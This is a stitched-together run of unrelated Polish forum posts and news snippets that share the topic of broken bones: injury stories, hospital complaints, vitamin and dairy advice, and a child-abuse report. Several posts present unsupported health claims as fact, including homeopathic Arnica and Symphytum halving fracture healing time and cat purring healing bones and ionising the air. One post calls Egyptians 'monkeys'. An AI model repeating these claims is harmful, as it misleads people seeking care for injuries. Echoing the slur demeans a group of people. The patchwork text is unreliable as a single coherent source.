Jesli chodzio porownanie do zlamania noigi. Sprawdzialm:
1 Konczyna raz zalamana i nawet rewelacyjnei zlozona po pewnym czasie a napewno
na starosc daje znaki ( boli lekko , w wielu wypadkach na zmiane pogody)
2. Prawdopodobienstwo zlalamnia tej samej konczyny w tym samyym miejscu jest
duzo wieksza .. Gdyz kosc juz nie jest jednolita tylko jednak zrosnietta....

Mag

· 

Juz meekart nie musisz wiecej czekac bowiem

Naukowcy mówią, że światło lasera jest spójne (koherentne). ...
Jednak o wiele bardziejprawdopodobne jest to, że wymyślili ją
wcześniej uczeni arabscy. ...
To jedno obecnie naukowcy odkryli nowa metode leczenia
ktotkowzrocznosci , okazalo sie jednak ze ..wymyslili ja juz
wczesniej naukowcy arabscy..
Inna sprawa- niemal kazde zlamanie kosci, zwichniecie stawu lub
powazne skrecenie wymaga unieruchomienia i otoz sposob
unieruchomiania zlaman w opatrunkach gipsowych( tkanina
przesycona zywica, woskiem, maka.;)trafil z Arabii do Europy w
XVIII wieku a holender Mathysene oparl sie tylko na tej
metodzie..
Przykladow jest od groma , wierz mi , zgoda powiesz ale sa to
dawne historie, brak nazwisk,
abstrahujac od Arabskiej Nagrody Nobla..., 1978 Pokojowa
Nagroda Nobla Amar Sadat, 1988 LITERACKA NAGRODA NOBLA Naguib
Mahfuza...
i gdyby tak zechciec poszukac, czlowiek znalazlby......

moi drodzy. pogodę da sie przewidziec na max 2 dni. nie ma czegos takiego jak
pogoda tygodniowa czy jakas inna bo to bzdura kompletna. to ze mamy upaly
spowodowane jest tym ze siedzimy caly czas w wyzach a nize są za slabe zeby sie
przebic. pogode mozna przepowiedziec patrzac jedynie na rozklad frontow i
ciśnien. nie jest to proste dlatego tak czesto sie meteorolodzy mylą. ja chociaz
w miare dobrze sie na tym znam tez nie potrafie przepowiedziec pogody nawet na 1
dzien naprzód bo wszystko moze się zmienić w ciągu godziny. dla przykladu powiem
ze przedwczoraj przez to ze źle ocenilem warunki (nie uwzględnilem zmiany pogody
i sily kominow termicznych) połamalem sie zdziebko i siedze w gipsie przez 5
tyg. zlamanie kosci przedramienia wzdluz, rozszczepienie kosci przedramienia i
przesuniecie wzg nich kosci dloni.... nie polecam nikomu:)

hahaha... no pewnie, że zaciemnia, najpierw mowił, że ma rękę
połamaną....przynajmniej jedną, bo obrazeń wystarczyło by na kilka...
("zlamanie kosci przedramienia wzdluz, rozszczepienie kosci przedramienia i
przesuniecie wzg nich kosci dloni.... ") a teraz mowi, że ma odnóże w gipsie :)
("bo wjezdzajac do zychlina ze zlamanym odnóżem")
A nóg faktycznie kilka widziałam w gipsie ostatnimi czasy... no to może być
problem........ :/

· 

Dopiero po czterech godzinach zrobiono mi zdjęcie
W konkursie skoku o tyczce odbywających się w Osace
lekkoatletycznych mistrzostw świata nie wystąpi Przemysław
Czerwiński (MKL Szczecin). Mistrz Polski podczas treningu doznał
złamania kości promieniowej prawej ręki.

- Chwila nieuwagi i mam pękniętą kość promieniową, pogruchotane
nogi - mówi drżącym głosem Czerwiński. - Po wypadku, który zdarzył
się na treningu, służby medyczne przez półtorej godziny dzwoniły po
szpitalach, abym został przyjęty. Dopiero po czterech godzinach
zrobiono mi zdjęcie i założono gips. Zrobiono to zresztą niezbyt
profesjonalnie i trzeba będzie poprawić.

- Jestem na środkach przeciwbólowych i w takim stanie psychicznym,
że - proszę mnie zrozumieć - rozmowa sprawia mi trudność -
powiedział mocno załamany Czerwiński.

www.sport.pl/lekkoatletyka/1,84753,4438783.html

Kiedy przeczytalam twoj post stanela mi w oczach mojac wspaniala mama,ktora po
zlamaniu szyjki kosci biodrowej i calkowicie nieudanej operacji dzwigala sie
wytrwale i uporczywie,potem przyszlo samoistne zlamanie drugiej szyjki i tym
razem udana operacja,ale nauka chodzenia mocno juz starszej pani wymagala
niezmierzonych wysilkow woli.Nigdy nie zapomne,z jaka duma patrzyla na mnie w
szpitalu w Otwocku,gdzie byla na rehabilitacji,kiedy zaczela schodzic
powolutku,krok po kroku ze schodow. Pamietam te spacery po korytarzu "z
balkonikiem",kazdy krok byl wysilkiem.Potem chodzila o kulach,potem czasem o
jednej.Ale chodzila.Pomogla mi odchowac coreczke i caly czas byla dla nas
wzorem hartu ducha.
Ty jestes mloda kobieta i mozliwosci medycyny sa zupelnie inne. Kiedy juz
zaczelas - wszystko pojdzie dobrze. Najwazniejsze, ze wspiera cie rodzina i my
tu wszyscy.I dziekuje za zufanie, jakim nas obdarzylas.

Witamin A
Witamina A

Tak jak we wszystkim, co robimy w życiu, tak spożywając życiodajne witaminy
warto trzymać się złotego środka. Gdy zewsząd przypomina się nam o tym, jak
ważna jest dieta bogata w witaminy, proponuje żyjącym w biegu suplementy
witaminowe, szczególnie warto poruszyć temat zaburzeń, jakie w organizmie
wywołuje hiperwitaminoza, z których najgroźniejsze w skutkach jest
przedawkowanie witaminy A.

Podczas gdy niedobór witaminy A powoduje suchość i łuszczenie się skóry,
łamliwość włosów i paznokci, pogorszenie wzroku, czasem wręcz tzw. kurzą
ślepotę, zahamowanie wzrostu kości, nadmiar tej witaminy jest silnie toksyczny.
Przedawkowanie witaminy A, w przeciwieństwie do większości pozostałych witamin
oraz prowitaminy A – betakarotenu, jest tym bardziej szkodliwe, że organizm nie
potrafi sam się pozbyć jej nadmiaru. Skutkami hiperwitaminozy witaminy A są:
- znaczne osłabienie kości, podatność na złamania oraz bóle w kościach,
- uszkodzenie wątroby,
- wymioty i nudności,
- intensywna utrata włosów,
- zmiana kolorytu skóry oraz jej chorobliwa suchość (np. pękanie skóry w
kącikach ust).

Silna „promocja” witaminy A jako antyrakowej, a także ze względu na kluczową
rolę, jaką pełni w procesie regeneracji skóry i spowalniania procesów starzenia
powoduje, iż wiele osób zwiększa dzienną dawkę tej witaminy. W dłuższym okresie
czasu w organizmie może dojść do kumulacji przekraczającej próg toksyczności,
co z kolei pociągnie za sobą duży, w przypadku wątroby trwały, uszczerbek na
zdrowiu.

ratownictwo medyczne: nie wciskac ciemnoty
Z artykulu w Gazecie:

"Do powiatowego szpitala w Kraśniku z dwóch wypadków trafiło jednocześnie
pięć osób. W jednym pacjent doznał urazu śródczaszkowego, złamania kręgosłupa
szyjnego i kości udowej, miał liczne rany szarpane. W ciągu 5 min był
zaopatrzony chirurgicznie i wyprowadzony ze wstrząsu. Przeżył."

Albo urazy byly banalne, albo to nieprawda. W 5 minut to mozna zalozyc
trakcje na kosc udowa, a nie wyprowadzic pacjenta ze wstrzasu. Zaopatrzenie
kregoslupa szyjnego to pol godziny. Ktos tu myli zaopatrzenie chirurgiczne
z "damage control surgery".

prowokacja..?
1)...w Kosowie ,miesiac temu,spalono wioski,koscioly serbskie... polala sie
krew.Powodem bylo rzekome zapedzenie muzulmanskich dzieci do rzeki(gdzie jedno
utonelo) przez Serbow i psy!!!!!......w calym swiecie bylo o tym
glosno....SPRAWA OKAZALA SIE WYMYSLONA!!!
2) w Bagdadzie zglosil sie Arab...z reka w gipsie oskarzajac Amerykanow o
zlamania kosci w trakcie sledztwa......sledztwo wykazalo ,ze klamal....po
rozcieciu gipsu..okazalo sie ,ze nie ma on najmniejszej ranki....PROBOWAL
WYLUDZIC OKUP!!!!!...

konkluzja....tocza sie dwie wojny....ta druga to propagandowa ,ktora
wygrywaja Arabowie..tu trzeba byc ostroznym i zachowac zimna krew..czego nie
moge powiedziec o uczestnikach forum....niestety

I znowu drzewo
Wypadek na Bukowskiej. W miniony piątek omal nie doszło do tragedii. Około
godz. 18.10 na ul. Bukowskiej, w rejonie hotelu „Wodnik”, 24-letni
mieszkaniec Sosnowca stracił panowanie nad pojazdem i uderzył w drzewo.
Kierowca doznał rany ciętej prawej nogi. Natomiast trzej pasażerowie pojazdu —
sosnowiczanie w wieku od 21 do 26 lat doznali złamania kości ramieniowej
prawej ręki oraz łopatki, zwichnięcia stawu barkowego, złamania kości
ramieniowej oraz ręki. Cała trójka trafiła do szpitala w Jaworznie.

Kolanem w... podbrzusze. Potrenuj to.
A jeżeli nosisz pantofle na szpilkach, to możesz obcasem nastąpić
takiemu na stopę. Tylko, że ryzykujesz złamanie obcasa; jeżeli
pantofle droższe od komórki, to nie warto.
Jeżeli masz twarde zelówki, zwłaszcza nieco wystające, to można
kopnąć w kość piszczelową.

byliśmy dziś z dziewczynami na ogrodniczkach! ale jazda! ośnieżone pięknie
stoki pełne są dzieci, młodzieży i dorosłych, którzy śmigają w dół na
najbardziej dziwacznych nawet i wariackich sprzętach. sanki? narty? to banał!
są tam olbrzymie śniegowe deski, chciałoby się rzec snowboardy, ale ma toto
szerokość wanny, albo krótkie jest znów że ledwo się nowgi mieszczą. widziałem
też deskorolkę z odkręconymi kółkami. dwóch rowerzystów i facia z foliowym
workiem napełnionym słomą.
jako, ze wczoraj z dzieckiem zostawiliśmy w parku nasze śniegowe pojazdy, więc
posiłkowaliśmy się olbrzymim płatem folii. można na tym jeździc w pojedynkę,
dwójkami, a nawet we troje. siada się wtedy niczym w bobsleju i pędzi się w dół
na złamanie karku, drąc się w niebogłosy z radosci, strachu i aby ostrzec
wchodzących pod górę. ci zaś patrzą na nas z zazdrością. lub politowaniem. bo
kiedy na drodze pojawiają się muldy, wzniesienia i uskoki, wtedy biedna nasza
kość ogonowa! a kiedy nagle przed nami wyrośnie pień drzewa, wówczas czym
prędzej należy wbić obcasy w snieg i hamować na całego. co powoduje, że pędzimy
w wielkiej snieżnej chmurze i po sekundzie jesteśmy obsypani sniegiem niczym
bałwany.
ale superosko!
pozdrawiam serdecznie.
wasz śniegowy bałwan

Witam ja będe mieć CC za 8 dni - 11 września. O tym, że będę mieć
cesarke wiedziałam od 15 roku życia gdyż przeszłam poeracje biodra
(złuszczenie głowki kości udowej)miałam zakładane druty Kirsznera a
gdy po 2 latach kości się zalały usunięto mi druty gdyż noga mi
przez nia nie rosła. Teraz lekarze boją się że przy porodzie mogłoby
znów dojść do złuszczenia lib złamania główki kości udowej a to w
rezultacie zakwalifikowałoby mnie do endoprotezy. Drugim powodem
jest rozmiar mojego maleństwa (ponad 4 kg).

złamana rączka u dwulatka!
Czy można zmienić trzy dni po założeniu gips na
plastikowy. Lekarz na ostrym dyżurze był strasznie "lewy" i dodatkowo niemiły.
Bardzo boję się by mojemu Kluskowi kości się dobrze zrosły. Kuzyn mojego exa
miał źle złożoną kość i teraz ma krzywą rękę i nie może jej do końca
rozprostować. Jestem przerażona, bo nie wiem do końca czy nie jest to złamanie w
stawie łokciowym (lekarz mi udzielił strasznie mętnej odpowiedzi mimo moich
dopytywań, a opis zdjęcia ze zdjęciem odbieram w poniedziałek). Bardzo się boję
czy prawidłowo mu założył ten gips (nic mu nie nastawiał kości).
Dziękuję jeszcze raz i proszę bardzo bardzo bardzo o kolejne rady i informacje.

Widze, że pierwszy raz opusciłes granice naszego kraju bo elementarne sprawy z
zagadnien turystyki biur podrozy Ci sa nie znane!
1. zadne biuro nie ma wpływu na to co dzieje się z odlotem i przylotem
samolotow. To jest wolna amerykanka linii lotniczych i niestety wszscy na tym
cierpimi.
2. to że zostawiłes kamere i coś tam jeszcze, no cóż...
3.Jak Ci nie odpowiada to nie kupuj u Polakow albo innych cywilizowanych
narodow drozszych wycieczek tylko u Egipcjan. Na jednym turnusie który
prowadzilem tez czesc ludzi wykupila sobie wycieczke na quadach w Hurgadzie u
egipcjan (BO TANIEJ).Malpy (Egipcjanie) spoznili sie z organizacja tej
wycieczki.Potem po pustyni zaczeli poganiac ludzi zeby szybciej jechali.Doszlo
do wypadku.Babeczka - otwarte zlamanie kosci ponizej kolana.Pomoc??? Dobrze ze
trafila w ostatniej chwili do szpitala dzieki pomocy ludzi ktorzy byli z nią bo
egipcjanie chcieli ja zostawic i wziac grupe i jechac! BO NIE MILI
UBEZPIECZENIA!!!)A koszty w zwyklym szpitalu (widziales w Afryce zwykly?) sa
nie do przejscia dla 90 procent egipcjan. Ta bebeczka miala 3 operacje. pozdr.
I kupuj wycieczki u Egipcjan to bedzie ryzyko- szczegolnie te z nurkowaniem,
heheheheeee.....

moj synek!-podejzenie padaczki
witam wszystkich,pisze tu pierwszy raz i nawet nie wiem od czego zaczac,moj
synek ma 4 lata w wieku 1,5 roku mial uraz czaszki-zlamanie kosci
ceiemieniowej lewej,krwiak zewnetrzny tak wykazalo kt,z malym nic sie nie
dzialo ale z racji urazu jestem pod kontrola neurologa,po jakims czasie synek
w czasie zdenerwowania,placzu,nerwow ma bezdechu,dmucham mu wtedy w usta i
odskakuje,ale raz(uderzyl sie mocno)i zemdlal,drugi przypadek tez po
uderzeniu-prawie zemdlal,zaznaczam ze przy tym omdleniu ktore trwalo bardzo
krotko wystarczylo dmuchniecie i odskoczyl,powiedzialam o tym pani neurolog i
ta wdrazyla lek-tegretal(ktorego narazie nie daje bo czekam na konsultacje z
innym neurologiem)dodam jeszcze ze syn po tym urazie glowy mial robione eeg i
nie wyszlo za dobrze-sa dodatkowe fale napadowe,dodam jeszcze ze chcialam
wyprobowac syna i gdy zaczyna plakac i wiem ze zaraz bedzie bezdech mowie do
niego ze nie dmuchne mu w buzie i zemdleje odskakuje sam!dlatego prosze was o
opinie czy to jednak padaczka?wiem ze ta choroba trudno zdiagnozowac,ale
licze na wasza pomoc bo pomalu wariuje,wiem ze atakow typowo padaczkowych nie
mozna opanowac a zauwazylam u syna ze on to jednak kontroluje,z gory dziekuje
wam za odpowiedzi,pozdrawiam,Damiana

Czesc!
Fragmenty o mleku:
"Jeszcze jednym slabym punktem piramidy USDA jest zachecanie do nadmiernego
spozywania nabialu, w ilosci odpowiadajacej 2-3 szklankom mleka dziennie.
Zalecenie to uzasadnia sie zwykle zawartoscia w nabiale wapnia,
zapobiegajacego osteoporozie i wynikajacym z niej zlamaniom kosci. Jednak
najwiekszy odsetek tych urazow odnotowuje sie w krajach, w ktorych spozycie
produktow nabialowych jest wysokie. Poza tym duze badania prospektywne nie
potwierdzily, by jedzacy znaczne ilosci nabialu byli mniej narazeni na
zlamania. Wapn istotnie jest podstawowym skladnikiem pokarmowym, jednak jego
znaczenie dla stanu kosci najprawdopodobniej dotad przeceniano. Co wiecej,
wyniki niektorych badan swiadcza, ze u mezczyzn jedzacych duzo nabialu
zwieksza sie ryzyko zachorowania na raka gruczolu krokowego, a u kobiet - na
raka jajnika. Choc poczatkowo obwiniano za to tluszcz, dokladniejsze analizy
nie potwierdzily tego przypuszczenia. Szczegolnie oczywistym wydaje sie
zwiazek miedzy dostarczaniem organizmowi duzych dawek wapnia a rozwojem raka
prostaty.
Okreslenie wplywu spozywania nabialu na zdrowie bedzie wymagac dalszych badan,
ale obecnie zalecanie zjadania go w duzych ilosciach wydaje sie niewskazane.
Wiekszosc stosujacych wlasciwa diete doroslych uzyska potrzebna ilosc wapnia,
spozywajac ekwiwalent szklanki mleka dziennie. W pewnych przypadkach np. u
kobiet po menopauzie, zapotrzebowanie na wapn niekiedy wzrasta. Mozna jednak
zaspokoic je za pomoca srodkow farmakologicznych, bez narazania sie na
przyjmowanie nasyconych kwasow tluszczowych i dodatkowych kalorii."

Ewa

> ze w starszym wieku czesto dochodzi do urazow kosci udowej i nadgarstkow, czy
> nalezy wykonywac jakies specjalne cwiczenia aby wzmocnic TE kosci?

zlamania szyjki kosci udowej oraz kosci promieniowej przedramiona (radius) sa
rezultatem upadkow. Nie spotkalem sie z niczym co specyficznie kosci w w/w
miejscach wzmacnialo, za to wymyslono szorty-kolarki dla starszych pan z pianka
wokol biodra amortyzujaca upadki (dzialaja! ;-). Na nadgarstki pomagaja wrist
guards uzywane przez rolkarzy -> mniej zlaman.
Problem w tym ze jednym z objawow osteoporozy moze byc kompresja kregow
kregoslupa -> garb.

Jesli jestes w mlodszym cokolwiek wieku to wszelkie cwiczenia w ktorych kosci
poddawane sa obciazeniu prowadza do ich wzmocnienia:

www.ctds.info/osteoporosis-exercise.html
www.thebestisyet.net/cgi-bin/cgiwrap/pando19/start.cgi/viewfrom16.htm

Ja nie boje sie stosowac zadnych potencji ;) Jesli lek homeopatyczny w potencji gdzie nie ma zadnej molekuly, nie jest dopasowany objawowo, tzn. jesli pacjent nie jest na niego "uczulony" wtedy lek ten nie ma zadnego dzialania, tylko tak dziala ja bys napila sie wody, lub alkoholu ;)na zdrowko! :)) (ja nie pije wogole ;) )
Wiekszosc provings (doswiadczen) lekow w homeopatii pochodzi nie z potencjonowanych lekow lecz z toksycznych ich dzialan, w dawkach "materialnych" (zauwazmy provings Dr'a Heringa(ojca hom. Materia Medica). Wszyscy inni homeopaci jak Kent, Dr Clarke czy inni tylko sciagali wskazowki z Dr'a Heringa Materi Medica ;)) i czesto narobili bledow w swojej pracy sciagowki :)) Wiec osobiscie spolegam najbardziej na Dr'a Heringa pracy.
Wiec nie boje sie ze doswiadcze leki na sobie w potencjach. Zauwazylem ze na silne stluczenia Arnica 3CH dziala super. Mojego znajomego kopnal kon z calej sily, mial tak silny bol oraz spuchnieta noge, sina, i polamane kosci. Po pierwszej dwace Arniki 3CH bole ustapily w miare 80%, po drugiej dawce zapomnial o bolu. Na zlamanie wzial Symphytum 200CH, oraz Calcium phosphoricum D3. Wszystko sie wspaniale zagoilo w o polowe skroconym czasie niz ogolnie.

W stanie ostrym stosuje Arnica 3CH, na bardziej chroniczny stan Arnica 200CH ;)

Pisze tylko ze swojego doswiadczenia oraz doswiadczen wielu lekarzy(hom)

pozdr.
A.

Hi!!! Fixateur-Przy zlamaniu np; nogi zaklada sie taki aparat (na kosci)ktory
utrzymuje zlamane kosci zeby byly stabilne a zarazem nie ma kontaktu z miejscem
zlamania.Distal to jest cos co odpadlo od jakiego organu i lezalo
osobno.Inaczej nie potrawie przetlumaczyc.Moze jezeli to chodzi o zlamanie to
czesc kosci byly oddzielnie.Ostatnie to chyba wielokrotne zlamanie.

Okowito, ale tu nie chodzi o to, że lekarze chcą się w ten sposób
dowartościować. Oni chyba raczej trzymają się razem. Przykład? Rzadko się
zdarza, że lekarz przegrywa proces, bo biegłymi są też lekarze. Wracając do
Pana B. To nic osobistego, więc mogę napisać na forum. Chodziło o zwykłe
złamanie ręki - wystarczyło nastawić kość. I na zdjęciu rentgenowski było widać
że jest tak zrobione, jakby nie było zrobione w ogóle. Oczywiście Pan B.
powiedział, że jest świetnie, dostał jakiś droby upominek za dobrą robotę i
wypisał do domu. Nie pomyślał nikt o tym, żeby zrobić ponowne zdjęcie i
sprawdzić czy naprawdę jest okej.

Dopiero potem zaczął się dopytywać o moją rękę... SĄSIAD. Sąsiad, który z B.
miał do czynienienia i wie jak to jest. Pojechalem do Rzeszowa, zrobiłem
zdjecia itd. Skończyło się tak, że trzeba było "ponownie łamać" i operacyjnie
poprawiać to, co B. zepsuł. Potem jeszcze wiele razy słyszałem od znajomych co
B. wyprawia. Jak banalne zabiegi robi cztery godziny dłużej niż inni, jak
rodzice denerwują się na korytarzu, bo zabieg ma trwać 20 minut, a trwa ponad
godzinę itd.

Jarmułka, wszystko pięknie. Życiorys wspaniały. Ordery też. Wszyscy je zresztą
mieli, a ordynator to już musial. A teraz dowiedz się kto był zastępcą na
ortopedii 15 lat temu i w tym samym miejscu znajdź życiory zastępcy. Dowiedz
się jeszcze dlaczego zastępcą przestał być. Sprawdź też jakie badania
prowadził, w jakich szpitalach pracował, jakie prace naukowe pisał. A potem
porównaj do B.

Doktor Pichlak jest dobry - ale to chirurg onkolog. Wyleczył moją
babcię. Z kolei mój brat miał źle zdiagnozowane złamanie ręki przez
chirurgów właśnie. Gdyby rękę pooglądał ortopeda udało by się
uratować staw, ale jakoś na oddziale nie było żadnego. Dopiero po
kilku tygodniach prywatnie u ortopedy dowiedzieliśmy się że
konieczna była operacja i zespolenie kości specjalną płytką.
Niestety dla ręki taki okres czasu to za długo i na operację za
późno. Jest cześciowo niesprawna. W szpitalu był tydzień.

No wlasnie troche to duzo ...A swoja droga to kazdy starszy czlowiek na cos tam
choruje i zawsze mozna sie przyczczepic ,ze to wlasnie bylo przyczyna .Moze
oczywista jest mozliwosc wylewu przy nadcisnieniu ,ale zlamanie w starszym wieku
tez moze byc oczywiste ,bo kosci z osteoporoza...
Tak tylko gdybam ....Moze dacie te namiary na jakies ludzkie firmy .Czekam dalej
na odpowiedz .Dzieki serdecznie.

z męskimi łzami kojaży mi się..
pewna historyjka rodzinna - otóż u mojej ciotki w domu są schody, na podestach
stoją donice z różnym zielskiem, np. wielki kaktus (takie ciocia ma hobby)
jej syn (wtedy lat około 7) szedł po schodach i śpiewał pieśń "prawdziwy
mężczyzna nigdy nie płacze", poślizgnął się i wpadł na tego kaktusa.... za
chwilę po całym domu rozległ się ryk syreny strażackiej....
:)
tak poważnie - facet ma takie samo prawo do ukazywania uczuć - to społeczeństwo
narzuca stereotyp twradziela, który nigdy, ale to nigdy nie płacze (choćby dom
się zawalił, wylali go z roboty, żona uciekła z jego najlepszym kolegą a kość
udowa właśnie mu się złamała i jest to złamanie otwarte).

od małego się tego chłopców uczy - a jak sami wiemy - przyzwyczajenia są drugą
naturą człowieka.. a potem Ci duzi już chłopcy mają problemy, by łzę uronić..

dziekuje pajdeczko i Marto bardzo,

Marto - wlasnie tak jest jak piszesz: trace zeby jeden po drugim
w ciagu dwoch miesiecy mialam zlamanie kosci i to w miejscach nietypowych dla
zlaman. Jako dziecko mialam krzywice. Moze tez byc chyba dziedzicznym brak
witaminy.

Jajka lubie, albo moze zaczne drozdze tylko nie wiem ile potrzebuje ich na
dzien.

slyszalam ze tez mozna przedawkowac Witamine D. Wogole i tak zle i tak
niedobrze.

Gość portalu: PR110 napisał(a):

> Stało Ci się coś poważnego?? Co było dokładnie przyczyną tej kraksy????
> Pozdrawiam

motorman tramu linii 19 ( w którym jechałem ) chciał koniecznie przejechać na
zielonym przy skręcie z długiej, przyspieszył gwałtownie przed zakrętem a
wjeżdżając na przystanek udeżył w 5-tkę ( na szczęście piątka zaczęła ruszać z
przystanku - co zmniejszyło siłę uderzenia.... ) , a jeżeli chodzi o
poszkodowanych - jedna babak z urazek kręgosłupa, druga z urazem kręgu
szyjnego, jeden z facetów rozcięta głowa , drugi złamanie kości policzkowej -
a ja.... uraz skrętny kręgosłupa szyjnego - nic przyjemnego.....

Koty i złamania
czytałam kiedys ciekawy artykuł, taki popularno-naukowy, dotyczący różnych
fizycznych zjawisk, w którym była wzmianka dotycząca leczniczych
właściwości ...kociego mruczenia. Okazuje się, że koty mruczą z określoną
częstotliwością, która znakomicie wpływa na proces zrastania się kości. Taką
samą częstotliwość używa się w trakcie zabiegów fizykoterapii, tyle że przy
pomocy urządzenia, a nie kota...Podobnie jest z wpływem kociego mruczenia na
system nerwowy człowieka, a co za tym idzie na normowanie się ciśnienia krwi, a
także tworzenie się fal alfa w mózgu. Poza tym koty jonizuja otoczenie ujemnie,
co dla człowieka jest bardzo korzystne.

Pracuję od dziesięciu lat. Przez ten czas chodziłem tylko do lekarza w ramach
przeziębień, raz anginy ropnej, raz zapalenia płuc i trzy razy zapalenia gardła.
Poza tym miałem złamaną nogę, palec u prawej ręki i otwarte złamanie lewej ręki
po którym tak mi złożono kości, że mam nadgarstek przesunięty o centymetr a co
za tym idzie spory ucisk nerwów i częściowy niedowład dłoni.
Przez te dziesięć lat wydałem na polską służbę zdrowia kupę kasy.
Najpoważniejsze leczenie spieprzono mi na maxa. Mam początki nadciśnienia,
solidną nerwicę, problemy ze wzrokiem oraz spore problemy z układem pokarmowym.
K***a, zapłaciłem za to, żeby móc się leczyć TERAZ, a nie za kilka miesięcy (bo
takie mam terminy w stolicy państwa aspirującego do Europy)!!!!!!
Złodziejstwo, niekompetencja, brak umiejętności zorganizowania czegokolwiek...
A nie stać mnie na leczenie prywatne!
Niech w tym chorym kraju wreszcie ktoś pójdzie po rozum do głowy i skasuje
obowiązek ubezpieczenia tak zdrowotnego, jak i emerytalnego w złodziejskich
organizacjach państwowych. Chcę mieć wolny wybór i ubezpieczyć się w prywatnej
lecznicy; płacić na nią 100% tego, co obecnie zabiera mi państwo nie dając
tego, za co zapłaciłem!

Nastepny powod na niespodzianke:

4. Brak utalentowanego Marcelinho.
Od czasu jego kontuzji (zlamanie kosci srodstopia) dziwnym
trafem Hertha nie odnosi sukcesow. Zawodnicy boja sie brac na
siebie odpowiedzialnosc za ryzykowne zagrywki, podania i strzaly
na bramke. Jego brak zdaje sie byc powaznym oslabieniem
berlinczykow.

Gość portalu: tomCrac napisał(a):

> > dwa nadgarstki... i stluczony lokiec...
> > minimalne przemieszczenia na szczescie.
>
> Mikolaju to po co piszesz "zlamania"? przeciez to w ogole nie ma porownania. Ta
> k jak gips i szyna gipsowa (cos o tym wiem) :)

kosci sa pekniete...

male przemieszczenie - nie trzeba bylo nastawiac, bo
zostaly na swoim miejscu, ale sa popekane.

Wspaniałym ortopedą jest dr Chrobot z Krakowskiego Centrum Rehabiblitacji przy
ul.Modrzewiowej.To świetny diagnosta,znakomity chirurg i wspaniały
człowiek,uprzejmy i miły na dodatek.Leczył moja mamę i operował kolano mojej
córki,a także leciwą (co nie jest bez znaczenia przy tego typu operacjach) mamę
mojej koleżanki (skomplikowane złamanie kości biodrowej.) .Pani ta odzyskała
prawie zupełną sprawność i czuje się świetnie(trzy lata po
operacji).Niestety,pan doktor nie ma prywatnej praktyki ani nie pracuje w
żadnej spółdzielni.Musisz starać się dostać do tamtej przychodni w inny sposób-
ale teraz,gdy działa NFZ -nie wiem ,jak.Może zapytaj o to lekarza pierwszego
kontaktu.

o nie, Gosia daj cos więcej, jakie to złamanie i jakie rokowanie
jutro wpadne
Niech sie trzyma Mika
już powinnam spać, a tu takie zlamanie , trach i po kosci , teraz gips, tylko
pamiętajcie o gipsie plastikowym , takim lekkim - znam sie na gipsach . Za
niego trzeba zaplacić , ale jest wygodny i bedzie mogła skakać.

Stary co ty pierdzielisz.Złamanie kości śródstopia jest ciężkie do
zdiagnozowania bez zdjęcia.A grać można,choc ciut boli.Dla takich
twardzieli-kopaczy,zaprawionych w bojach,to pikuś...
Powiem Ci,że na początku lat 90-tych dograłem SEZON ze złamaną
kością śródstopia /jakieś 5-6meczy/.Dowiedziałem się o tym w
przerwie sezonu...

Drogi Treborrrze:)
Wydawało mi się, że tłumaczenie zawarte tu:
forum.gazeta.pl/forum/72,2.html?f=325&w=29180733
jest wystarczające. Ale może nie doczytałeś tego.
Powiem więc jeszcze raz:
Prawie dwa miesiące temu złamałam nogę. Złamanie okazało sie być dość szpetne,
bo złamałam obie kości - piszczelową i strzałkową. Złamanie wieloodłamowe z
przesunięciami, do tego jeszcze to co sie nie połamało, to popękało.
Miałam operację - do tego była potrzebna krew. Teraz tak to jest w naszych
szpitalach. Brakuje krwi w bankach krwi, dlatego też do zabezpieczenia zabiegu
trzeba samemu zorganizować krew. Ale i z tym sobie poradziłam.
Po operacji leżałam jeszcze 3 tygodnie w szpitalu. W końcu załozono mi gips i
wypisano do domu.
Jak długo będę w tym gipie? Nie wiem. Lekarz powiedział mi, że od 3 do 6
miesięcy. Na razie minął miesiąc.
Potem czeka mnie rehabilitacja, no i miejmy nadzieję, że wszytsko sie dobrze
skończy.
uff.
Bardziej szczególowo już się chyba nie da.
Pozdrawiam:)

Rowerzyści - moje spostrzeżenia...
Wkurzyłam się jak diabli.
Wracałam wieczorem razem z tłumem ludzi z koncertu Flinty.Szłyśmy sobie z
córą po chodniku w stronę Siennickiej,młoda od strony słupków oddzielających
chodnik od ulicy. Nagle z przeciwka pojawił się pędzący na złamanie karku
rowerzysta( - stka??). Roztrącał na boki idących ludzi, miedzy którymi było
sporo dzieciaków.Nietety córa nie zdążyła uskoczyć, oberwała boleśnie
kierownikiem. Efekt- ręka jak bania, noc na ostrym dyzurze i gips na
conajmiej dwa tygodnie. O bólu, łzach i moich nerwach nawet nie wspomnę.
Oczywiście rowerzysta nawet się nie zatrzymał...
Aż strach pomyśleć co by było gdyby zamiast młodej był tam akurat jakiś
maluch albo dziecko w wózku chociażby.Czy ten osioł wogóle nie miał daru
przewidywania?? Przecież zbliżającą się gromadę ludzi było widać z daleka.
Jak można być takim idiotą? Do tej pory traktowałam rowerzystów jako
równorzędnych użytkowników drogi, chociaż od niektórych ich wyczynów włos się
na głowie jeży. Starałam się poprostu być tolerancyjna. Ale teraz chyba
zmienię podejście i zweryfikuję swoje poglądy. SZkoda mi córy, gips w takim
upale to koszmar, a poza tym to przecież musiało ją nieźle boleć- kośc jest
pęknięta :( Gdybym tak dopadła tego rowerzystę to uhhhh.......

Hmm ale to zlamanie było wynikiem niefortynnego upadju czy też teść
upadł tak "zwyczajnie" i się połamał?
Bo jeśli połamanie jest efektem "zwyklego" upadku to ma wyjątkowo
podatne kości chyba. A jeśli tak to jednak nie jestem przekonana, że
stan zdrowia pozwala mu na jazdę. Nie mówię, że jest za stary ale
czy jest wystarczająco zdrowy.

TYLKO integral.Parę lat temu wyciąłem figurę-Passat zajechał mi droge na
skrzyżowaniu i przy..bałem w niego, był lot nad dachami i pobudka na asfalcie
w ramionach jakiegoś obcego faceta. Rezultat: złamanie z przemieszczeniem
kości ramienia lewego i drobna blizna na podbródku. Gdybym był w otwartym
kasku prawdopodobnie wywinęło by mi szczenę na druga stronę.Dlatego albo
integral albo z otwieraną szczeną! Aha i otwarte kaski to ponoć murowane
przeziebienie zatok.

Mężczyzna wielokrotnie bił chłopca po całym ciele, co spowodowało m.in.:
złamanie kości czaszki i żeber oraz stłuczenie mózgu. Obrażenia spowodowały
zgon dziecka

info.onet.pl/1047315,11,item.html

ewry napisała:

> 3 lata temu zwichnęłam rzepkę ucząc się snowboardu (15 lat jeździłam na
> nartach i to dużo)i od tej pory nie mogę się zdecydować na wyjazd w góry.
> Rehabilitacja trwała rok, a do dziś nie czuję się pewnie na nogach.
JAK TA REH WYGLADALA?
>
> Wiem, że na snowboardzie nie powinnam już próbować, bo przy desce kolana są
